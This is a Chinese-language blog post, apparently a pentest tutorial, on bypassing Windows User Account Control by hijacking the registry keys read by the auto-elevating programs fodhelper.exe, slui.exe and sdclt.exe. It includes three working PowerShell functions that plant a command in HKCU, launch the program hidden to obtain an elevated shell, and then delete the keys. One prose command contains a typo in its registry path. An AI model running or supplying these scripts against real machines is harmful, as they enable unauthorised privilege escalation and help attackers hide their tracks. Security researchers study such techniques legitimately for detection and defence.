前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >利用注册表键值Bypass UAC

利用注册表键值Bypass UAC

原创
作者头像
一只特立独行的兔先生
修改于 2024-02-13 23:31:53
修改于 2024-02-13 23:31:53
7810
举报

1.fodhelper.exe Bypass UAC

fodhelper.exe是一个具备autoElevate属性且是微软自带的工具,具备微软签名,该程序在执行过程中会将注册表中HKCU:\Software\Classes\ms-settings\Shell\Open\command的内容当作命令执行。接下来笔者通过该程序大致地讲解一下如何通过fodhelper.exe绕过UAC。

首先我们需要在微软官网中下载sigcheck来帮助我们检查软件是否具备autoElevate属性。

使用命令Sigcheck.exe -m C:\Windows\System32\fodhelper.exe | findstr "autoElevate"来查询fodhelper.exe的autoElevate属性,或者使用命令Sigcheck.exe -m C:\Windows\System32\*.exe|findstr "autoElevate"来查询整个SYSTEM32目录下所有程序的autoElevate属性,具体执行结果如图1-1所示。

图1-1 查询指定程序的autoElevate属性
图1-1 查询指定程序的autoElevate属性

使用Windows自带的findstr程序也可以查询软件的autoElevate属性,使用命令findstr /c: "<autoElevate> " C:\Windows\System32\fodhelper.exe,执行结果如图1-2所示。

图1-2 findstr查询程序autoElevate
图1-2 findstr查询程序autoElevate

如果想要更加直观图形化的显示哪些程序具备autoElevate属性,则可以使用Manifesto来完成此工作,使用方法如图1-3所示。

图1-3 使用方法
图1-3 使用方法

刚刚笔者讲述了几种获取程序autoElevate属性的方法。下一步使用Process Monitor来分析fodhelper.exe是调用HKCU\Software\Classes\mscfile\shell\open\command并执行命令,在开始之前首先要在Process Monitor中设置如图1-4的两个过滤规则,以帮助快速分析。

图1-4 过滤
图1-4 过滤

随后执行fodhelper.exe,调用过程如图1-5。可以看到fodhelper.exe会查询注册表中 HKCU\Software\Classes\mscfile\shell\open\command的值,后面也会多次出现shell\open这个注册表项,但是路径不同,大部分程序喜欢在shell\open中来指定后缀文件的打开方式。例如HKCU\Software\Classes\mscfile\shell\open\command所定义的就是msc文件的默认打开方式。

图1-5 fodhelper注册表调用过程
图1-5 fodhelper注册表调用过程

继续回到fodhelper.exe,可以发现它会在HKCU:\Software\Classes\ms-settings\Shell\Open\command中进行查询,如果查询失败就会转到HKCR中。HKCU是当前用户注册表项,权限限制不严格。使用Powershell中的New-Item命令就可以在指定注册表中创建一个新的键,使用命令New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force来创建一个新的注册表项。

设置完成后,再次执行fodhelper.exe并通过ProcessMonitor进行监控,如图1-6所示。可以看到fodhelper.exe对HKCU\Software\Classes\ms-settings\shell\open\command\DelegateExecute进行查询,使用命令 New-ItemProperty -Path "HKCU:\Software\ClasTokses\ms-settings\Shell\Open\command "-Name "DelegateExecute" -Value "" -Force,给 HKCU\Software\Classes\ms-settings\shell\open\command\添加一个名为DelegateExecute的值。

图1-6 fodhelper执行流程
图1-6 fodhelper执行流程

当fodhelper.exe查询到DelegateExecute之后,会执行默认键名Default中的内容,使用命令Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Windows\System32\cmd.exe" -Force在Default中写入命令,来开启一个新的命令提示符。

执行fodhelper.exe便会得到一个已经绕过UAC限制的CMD,上述操作汇总成Powershell脚本来执行。执行Bypass函数之后就会反弹一个绕过UAC的CMD,具体代码如代码清单如下所示,执行结果如图1-7所示。

代码语言:bash
AI代码解释
复制
function Bypass(){ 
	New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command "-Force
	New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command "-Name "DelegateExecute "-Value  " "-Force
	Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command "-Name "(default) "-Value "cmd /c start C:\Windows\System32\cmd.exe "-Force
	Start-Process "C:\Windows\System32\fodhelper.exe "-WindowStyle Hidden
	Start-Sleep 3
	Remove-Item "HKCU:\Software\Classes\ms-settings\ "-Recurse -Force
}

图1-7 执行Bypass函数,反弹一个绕过UAC的CMD
图1-7 执行Bypass函数,反弹一个绕过UAC的CMD

2. slui.exe Bypass UAC

Slui.exe同样会将注册表项HKCU:\Software\Classes\exefile\shell\open\command中的 default的内容当做命令执行,汇总成Powershell脚本代码,如代码清单4-22 所示,执行结果如图1-8所示。

代码语言:bash
AI代码解释
复制
function Bypass(){ 
	New-Item "HKCU:\Software\Classes\exefile\shell\open\command " -Force
	Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\shell\open\command "-Name "(default)" -Value "cmd /c start C:\Windows\System32\cmd.exe" -Force
	Start-Process "C:\Windows\System32\slui.exe" -Verb runas -WindowStyle Hidden
	Start-Sleep 3
	Remove-Item "HKCU:\Software\Classes\exefile\shell\" -Recurse -Force
}

图1-8 弹出一个绕过UAC的命令提示符
图1-8 弹出一个绕过UAC的命令提示符

3. sdclt.exe Bypass UAC

sdclt.exe会读取注册HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe。可以在default值中设置启动程序,在Powershell中运行代码清单4-23所示代码,执行结果如图1-9所示,虽然像这种注册表的Bypass UAC还有很多,不过大部分都只能针对Windows 10\server 2016\Server 2019。

代码语言:bash
AI代码解释
复制
function Bypass() {
	New-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Force
	Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe "-Name "(default)" -Value "C:\Windows\System32\cmd.exe" -Force
	Start-Process "C:\Windows\System32\sdclt.exe "-Verb runas -WindowStyle Hidden
	Start-Sleep 3
	Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe "-Recurse -Force
}

图1-9 启动程序
图1-9 启动程序

我正在参与2024腾讯技术创作特训营第五期有奖征文,快来和我瓜分大奖!

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
关于bypassuac的探究
用户帐户控制(User Account Control)是Windows Vista(及更高版本操作系统)中一组新的基础结构技术,可以帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统,同时也可以帮助组织部署更易于管理的平台。
红队蓝军
2022/03/01
1.6K0
关于bypassuac的探究
红队笔记 - 提权&权限维持
通常会检查我的权限 ( whoami /all) 和文件系统(tree /f /a来自C:\Users目录)以获取快速获胜或有趣的文件(尤其是用户主文件夹和/或 Web 目录)。如果没有找到任何东西,就会运行一个类似winPEAS.exe来识别任何漏洞。在枚举结果中查找的内容:
Khan安全团队
2021/10/12
1.5K0
实战 | BypassUAC的研究和思路
用户帐户控制(User Account Control)是Windows Vista(及更高版本操作系统)中一组新的基础结构技术,可以帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统,同时也可以帮助组织部署更易于管理的平台。
HACK学习
2021/11/02
1.4K0
BypassUAC技术总结
用户帐户控制(User Account Control,简写作UAC)是微软公司在其[Windows Vista](https://baike.baidu.com/item/Windows Vista)及更高版本操作系统中采用的一种控制机制,保护系统进行不必要的更改,提升操作系统的稳定性和安全性。 管理员在正常情况下是以低权限运行任务的,这个状态被称为被保护的管理员。但当管理员要执行高风险操作(如安装程序等),就需要提升权限去完成这些任务。这个提升权限的过程通常是这样的,相信各位都眼熟过。
ConsT27
2022/02/11
9620
BypassUAC技术总结
Powershell快速入门(三) 实战应用
乐百川
2018/01/09
4.1K0
Powershell快速入门(三) 实战应用
Bypass UAC using netplwiz.exe
此文件是 Microsoft® Windows® 操作系统的一部分。Netplwiz.exe 是由 Microsoft Corporation 开发的。这是一个系统和隐藏文件。Netplwiz.exe通常位于 %SYSTEM% 文件夹中,其通常大小为 25,600 字节。
黑白天安全
2021/07/16
7590
Permission elevation
前言 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习) 系统服务提权 低权限用户可以检查"Authenticated Users"组和"INTERACTIVE"组对系统服务的权限。 "Authenticated Users"组:经过身份验证的用户,但不包括来宾账户 组:包含所有直接登录到计算机进行操作的用户。 不安全的服务权限 如果低权限用户可以对一些高权限服务启动时的文件有写权限,那么就可以将其替换
FB客服
2023/03/30
1K0
Permission elevation
内网渗透|域内持久权限维持总结
SSPI 将负责为想要通信的两台机器找到合适的协议。对此的首选方法是 Kerberos。然后 SSPI 将协商将使用哪种身份验证协议,这些身份验证协议称为安全支持提供程序 (SSP),以 DLL 的形式位于每台 Windows 机器内部,并且两台机器必须支持相同才能进行通信。
HACK学习
2021/08/13
8540
如何利用sdclt磁盘备份工具绕过UAC
简介 sdclt 是微软提供的命令行磁盘备份工具,从 Vista 时代引入 在 Windows 10 开始,sdclt 加入了自动提升权限的能力,requestedExecutionLevel 由
FB客服
2018/02/23
8780
如何利用sdclt磁盘备份工具绕过UAC
Pekraut:新的RAT木马来袭,功能丰富
最近新出现了一个功能丰富的RAT名为Pekraut,经过分析后推测可能来源于德国。
FB客服
2020/05/14
1.6K0
Pekraut:新的RAT木马来袭,功能丰富
Bypass-UAC(用户帐户控制)的那些事
在本文中,我们将简要介绍一下用户帐户控制,即UAC。我们还将研究它如何潜在地保护免受恶意软件的攻击并忽略UAC提示可能给系统带来的一些问题。
FB客服
2021/10/11
2.1K0
windows提权看这一篇就够了
windows在日常的渗透中经常遇到,而在内网之前,经常会在所拿到的跳板机进行提权,这样后面横向,内网才能更好的展开(抓hash,必须得系统或管理员权限),所以这里做了一次window提权总结,建议收藏,反复看,熟能生巧!
Gamma实验室
2021/01/11
17.3K0
windows提权看这一篇就够了
Windows中常见后门持久化方法总结
当我们通过各种方法拿到一个服务器的权限的时候,我们下一步要做的就是后渗透了,而后门持久化也是我们后渗透很重要的一部分,下面我来总结一下windows下常见的后门持久化的方法
HACK学习
2019/10/09
2.9K0
Windows中常见后门持久化方法总结
使用Metasploit绕过UAC的多种方法
本文来源:https://www.cnblogs.com/backlion/p/10552137.html
用户1631416
2019/05/24
1.7K0
渗透中的内网渗透
本节主要介绍当拿下一台机器后,应该做的一些信息收集,尽可能的收集密码,去尝试其他机器。
Jumbo
2020/06/18
4.3K0
渗透中的内网渗透
利用 AicLaunchAdminProcess 参数污染 bypass UAC
之前花了一段时间研究 UACME 这个开源项目,获益匪浅,对其中的两个方法的非常感兴趣,重点研究了一下。分别是第三十八种和第五十二种方法。同属白名单组件绕过方法。
信安之路
2019/01/23
1.7K0
利用 AicLaunchAdminProcess 参数污染 bypass UAC
Windows之注册表介绍与使用安全
PC机及其操作系统的一个特点就是允许用户按照自己的要求对计算机系统的硬件和软件进行各种各样的配置。 早期的图形操作系统,如Win3.x中对软硬件工作环境的配置是通过对扩展名为.ini的文件进行修改来完成的,但INI文件管理起来很不方便,因为每种设备或应用程序都得有自己的INI文件,并且在网络上难以实现远程访问。 为了克服上述这些问题,在Windows 95及其后继版本中,采用了一种叫做“注册表”的数据库来统一进行管理,将各种信息资源集中起来并存储各种配置信息。 按照这一原则Windows各版本中都采用了将应用程序和计算机系统全部配置信息容纳在一起的注册表,用来管理应用程序和文件的关联、硬件设备说明、状态属性以及各种状态信息和数据等。
全栈工程师修炼指南
2022/09/28
1.8K0
Windows之注册表介绍与使用安全
PS常用命令之文件目录及内容操作
描述: 切换当前工作目录的路径实际上在PowerShell中cd命令就是其的别名。
全栈工程师修炼指南
2022/09/29
8.5K0
PS常用命令之文件目录及内容操作
再次发现黑客利用新冠疫情实施钓鱼邮件攻击
近日,绿盟科技伏影实验室再次发现一起黑客利用新冠疫情实施钓鱼邮件攻击的案例,此次案例的攻击目标为一家位于中国台湾的POS解决方案提供商。
绿盟科技安全情报
2020/04/07
1.9K0
Windows 权限提升
本篇内容是内网安全攻防:渗透测试实战指南时的阅读笔记,笔记大部分内容均来自此书,另外一部分来源于一些公开文档和非公开文档,参考链接中均有注明。
重生信息安全
2020/07/15
3.9K0
Windows 权限提升
相关推荐
关于bypassuac的探究
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档